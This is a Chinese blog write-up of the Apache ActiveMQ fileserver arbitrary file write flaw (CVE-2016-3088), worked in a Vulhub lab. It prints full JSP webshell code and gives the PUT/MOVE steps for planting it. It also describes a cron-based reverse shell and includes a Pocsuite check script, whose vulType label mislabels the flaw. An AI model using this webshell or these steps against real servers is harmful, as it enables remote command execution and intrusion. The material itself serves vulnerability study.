Vulhub漏洞系列:ActiveMQ任意文件写入漏洞分析

一、ActiveMQ简介:

Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。

二、漏洞描述:

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

1.其使用率并不高
2.文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

三、漏洞原理:

下载源码进行分析,可以看到ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,可以看到第二处的if相当于没有对用户身份进行校验。

PUT方法调用如下函数之后,上传到的目录是在${activemq.home}/webapps/fileserver下,源代码部分如下图:

接下来看MOVE方法的源代码中并没有对移动的路径进行限制

四、漏洞利用:

文件写入有几种利用方法:我们这里演示上传webshell

1.写入webshell
2.写入cron或ssh key等文件
3.写入jar或jetty.xml等库和配置文件

webshell代码

<span class="code-snippet_outer"><%</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(<span class="code-snippet__string">"023"</span>.<span class="code-snippet__keyword">equals</span>(request.getParameter(<span class="code-snippet__string">"pwd"</span>))){</span></code><code><span class="code-snippet_outer">        java.io.InputStream <span class="code-snippet__keyword">in</span> = Runtime.getRuntime().exec(request.getParameter(<span class="code-snippet__string">"i"</span>)).getInputStream();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> a = <span class="code-snippet__number">-1</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] b = <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">2048</span>];</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">out</span>.print(<span class="code-snippet__string">"<pre>"</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span>((a=<span class="code-snippet__keyword">in</span>.read(b))!=<span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__keyword">new</span> String(b));</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">out</span>.print(<span class="code-snippet__string">"</pre>"</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">%></span>

我们利用put方法进行任意文件的上传

接下来我们访问上传文件查看是否上传成功。

由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。

可以解析jsp文件的路径有:

1./opt/activemq/webapps/api
2./opt/activemq/webapps/admin

这里有一个坑,困惑了我很久,我的方法步骤都没有问题为什么MOVE方法会一直响应超时并且得不到任何响应的内容。尝试了很久,我一度怀疑我的vulhub环境有问题,一次偶然中我用burp抓到的包去修改执行MOVE方法很快就得到了响应结果,神奇的是把这个数据包重新复制到repeater执行再次出现响应超时的结果,明明是两个相同的数据包,真是令人费解,我只能归结于MOVE方法在这里不太稳(ps:这是我从别的文章看到的)。

这个就是MOVE成功之后得到的响应内容。

接着我们访问移动后的目录看看结果。但是这里就出现了一个很鸡肋的地方,就是要想访问到我们的webshell必须是登录之后才可以,因为/api,/admin这两个路径必须是登录后才可以访问但是move移动到这两个路径是不需要登录的,好吧,我们输入默认的弱口令admin/admin,登录后看到了我们心心念念的webshell。

拿到了webshell,虽然它很鸡肋但我们仍然要坚强的执行几条命令去宣告我们的战果。

我们简单说一下其他的利用方法,写入crontab,自动化弹shell,这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要n,不能是rn,否则crontab执行会失败),接下来将其移动到/etc/cron.d/root,如果上述两个请求都返回204了,说明写入成功。等待反弹shell,这个方法需要ActiveMQ是root运行,否则也不能写入cron文件。理论上我们可以覆盖jetty.xml,将admin和api的登录限制去掉,然后再写入webshell。有的情况下,jetty.xml和jar的所有人是web容器的用户,所以相比起来,写入crontab成功率更高一点。尚未测试。

五、Poc编写:

这一部分我们根据漏洞的原理,既然MOVE方法不稳定那么就去验证PUT是否可以执行成功,我在poc编写部分用到了Pocsuite。

代码如下:

<span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pocsuite.net <span class="code-snippet__keyword">import</span> req</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pocsuite.poc <span class="code-snippet__keyword">import</span> POCBase,Output</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> pocsuite.utils <span class="code-snippet__keyword">import</span> register</span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ActiveMQPoc</span><span class="code-snippet__params">(POCBase)</span>:</span>  <span class="code-snippet__comment"># 类名不用担心重复</span></span></code><code><span class="code-snippet_outer">    vulID = <span class="code-snippet__string">'002'</span>  <span class="code-snippet__comment"># ssvid</span></span></code><code><span class="code-snippet_outer">    version = <span class="code-snippet__string">'1.0'</span></span></code><code><span class="code-snippet_outer">    author = [<span class="code-snippet__string">'xssle'</span>]</span></code><code><span class="code-snippet_outer">    vulDate = <span class="code-snippet__string">'2019-09-07'</span></span></code><code><span class="code-snippet_outer">    createDate = <span class="code-snippet__string">'2019-09-07'</span></span></code><code><span class="code-snippet_outer">    updateDate = <span class="code-snippet__string">'2019-09-07'</span></span></code><code><span class="code-snippet_outer">    references = [<span class="code-snippet__string">'https://www.secpulse.com/archives/60064.html'</span>]</span></code><code><span class="code-snippet_outer">    name = <span class="code-snippet__string">'Apache ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)'</span></span></code><code><span class="code-snippet_outer">    appPowerLink = <span class="code-snippet__string">'activemq.apache.org'</span></span></code><code><span class="code-snippet_outer">    appName = <span class="code-snippet__string">'Apache activemq'</span></span></code><code><span class="code-snippet_outer">    appVersion = <span class="code-snippet__string">'版本小于 Apache ActiveMQ 5.14.0'</span></span></code><code><span class="code-snippet_outer">    vulType = <span class="code-snippet__string">'Arbitrary File Reading'</span></span></code><code><span class="code-snippet_outer">    desc = <span class="code-snippet__string">'''</span></span></code><code><span class="code-snippet_outer">        本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),</span></code><code><span class="code-snippet_outer">        同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。</span></code><code><span class="code-snippet_outer">    '''</span></code><code><span class="code-snippet_outer">    pocDesc = <span class="code-snippet__string">'''</span></span></code><code><span class="code-snippet_outer">        pocsuite -r ***.py -u target --verify"</span></code><code><span class="code-snippet_outer">    '''</span></code><code><span class="code-snippet_outer">    samples = []</span></code><code><span class="code-snippet_outer">    install_requires = [<span class="code-snippet__string">''</span>]</span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_verify</span><span class="code-snippet__params">(self)</span>:</span></span></code><code><span class="code-snippet_outer">        result = {}</span></code><code><span class="code-snippet_outer">        path = <span class="code-snippet__string">"fileserver/poc.txt"</span></span></code><code><span class="code-snippet_outer">        url = self.url + <span class="code-snippet__string">'/'</span> + path</span></code><code><span class="code-snippet_outer">        header = {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">"Accept"</span>: <span class="code-snippet__string">"*/*"</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">"Accept-Language"</span>: <span class="code-snippet__string">"en"</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">"User-Agent"</span>:<span class="code-snippet__string">"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">"Connection"</span>:<span class="code-snippet__string">"close"</span>,</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">"Content-Length"</span>:<span class="code-snippet__string">"120976"</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">            resp = req.put(url,header)</span></code><code><span class="code-snippet_outer">            resp1 = req.get(url,header)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> resp.status_code == <span class="code-snippet__number">204</span> <span class="code-snippet__keyword">and</span> str(resp1.status_code)[<span class="code-snippet__number">0</span>] <span class="code-snippet__keyword">in</span> (<span class="code-snippet__string">'2'</span>,<span class="code-snippet__string">'3'</span>) :</span></code><code><span class="code-snippet_outer">                result[<span class="code-snippet__string">'VerifyInfo'</span>] = {}</span></code><code><span class="code-snippet_outer">                result[<span class="code-snippet__string">'VerifyInfo'</span>][<span class="code-snippet__string">'URL'</span>] = url</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> Exception <span class="code-snippet__keyword">as</span> ex:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">pass</span></span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> self.parse_output(result)</span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">parse_output</span><span class="code-snippet__params">(self, result)</span>:</span></span></code><code><span class="code-snippet_outer">        output = Output(self)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> result:</span></code><code><span class="code-snippet_outer">            output.success(result)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">            output.fail(<span class="code-snippet__string">'target is not vulnerable'</span>)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> output</span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">_attack</span><span class="code-snippet__params">(self)</span>:</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> self._verify()</span></code><code><span class="code-snippet_outer">
</span></code><code><span class="code-snippet_outer">register(ActiveMQPoc)</span>

代码执行效果如下:

最后附上pocsuite官网地址:http://pocsuite.org/

如果可以的话我想把这个写成系列文章,希望大家鼓励。

【via@ FreeBuf.COM

我来评几句
登录后评论

已发表评论数()

相关站点

热门文章